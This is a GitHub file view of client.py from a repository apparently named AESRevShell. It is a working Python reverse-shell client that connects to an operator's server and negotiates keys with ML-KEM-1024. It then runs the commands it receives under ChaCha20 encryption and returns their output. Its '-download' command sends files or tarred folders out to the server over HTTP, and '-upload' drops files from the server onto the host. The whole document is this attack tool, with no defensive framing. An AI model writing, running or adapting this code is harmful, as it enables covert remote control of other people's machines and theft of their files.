forked from purrfectwarrior/AESRevShell
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathclient.py
More file actions
114 lines (97 loc) · 4.46 KB
/
client.py
File metadata and controls
114 lines (97 loc) · 4.46 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
#!/usr/bin/env python3
import argparse
import socket
import subprocess
import requests
import os
import tarfile
import io
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives.kdf.hkdf import HKDF
from zstandard import ZstdCompressor, ZstdDecompressor
from cryptography.hazmat.primitives import hashes
from kyber_py.ml_kem import ML_KEM_1024
def chacha20_encrypt(data, key, nonce):
cipher = Cipher(algorithms.ChaCha20(key, nonce), mode=None, backend=default_backend())
encryptor = cipher.encryptor()
return encryptor.update(data)
def chacha20_decrypt(data, key, nonce):
cipher = Cipher(algorithms.ChaCha20(key, nonce), mode=None, backend=default_backend())
decryptor = cipher.decryptor()
return decryptor.update(data)
def reverse_shell(server_ip, server_port):
mlkem = ML_KEM_1024
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect((server_ip, server_port))
try:
server_public_key = client.recv(4096)
shared_key, ciphertext = mlkem.encaps(server_public_key)
client.sendall(ciphertext)
derived_key = HKDF(
algorithm=hashes.SHA256(),
length=48,
salt=None,
info=b'handshake data',
backend=default_backend()
).derive(shared_key)
key = derived_key[:32]
nonce = derived_key[32:48]
while True:
folder = 'False'
encrypted_command = client.recv(4096)
if not encrypted_command:
break
command = chacha20_decrypt(encrypted_command, key, nonce)
command = ZstdDecompressor().decompress(command).decode('utf-8')
if command.lower() == "exit":
client.close()
break
elif command.lower().startswith("-download "):
filename = command.split(" ", 1)[1]
if os.path.isdir(filename):
folder = 'True'
tar_filename = filename + ".tar"
with tarfile.open(tar_filename, "w") as tar:
tar.add(filename, arcname=os.path.basename(filename))
with open(tar_filename, "rb") as f:
file_content = f.read()
os.remove(tar_filename)
compressed_file_data = ZstdCompressor().compress(file_content)
else:
with open(filename, 'rb') as f:
file_data = f.read()
compressed_file_data = ZstdCompressor().compress(file_data)
filename = os.path.basename(filename) + '.zst'
encrypted_file_data = chacha20_encrypt(compressed_file_data, key, nonce)
requests.post('http://' + server_ip + ':' + str (server_port + 1) + '/d', data=encrypted_file_data, headers={'Filename': filename, 'Folder': folder}) #TODO: Hide filename.
output = None
elif command.lower().startswith("-upload "):
filename = command.split(" ", 1)[1]
response = requests.post('http://' + server_ip + ':' + str (server_port + 1) + '/u', headers={'Filename': filename}) #TODO: Hide filename headers.
desencrypted_content = chacha20_decrypt(response.content, key, nonce)
decompressed_content = ZstdDecompressor().decompress(desencrypted_content)
file_destination = os.path.basename(filename)
with open(file_destination, 'wb') as f:
f.write(decompressed_content)
output = None
else:
output = subprocess.getoutput(command)
if output == "" or output is None:
output = "No output"
output = ZstdCompressor().compress(output.encode('utf-8'))
encrypted_output = chacha20_encrypt(output, key, nonce)
client.sendall(encrypted_output)
except Exception as e:
print(f"[!] Error: {e}")
client.close()
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("-s", "--server", required=True, help="Server hostname or IP address")
parser.add_argument("-p", "--port", type=int, default=5050, help="Server port (default: 5050)")
args = parser.parse_args()
try:
ip = socket.gethostbyname(args.server)
except socket.gaierror:
exit()
reverse_shell(ip, args.port)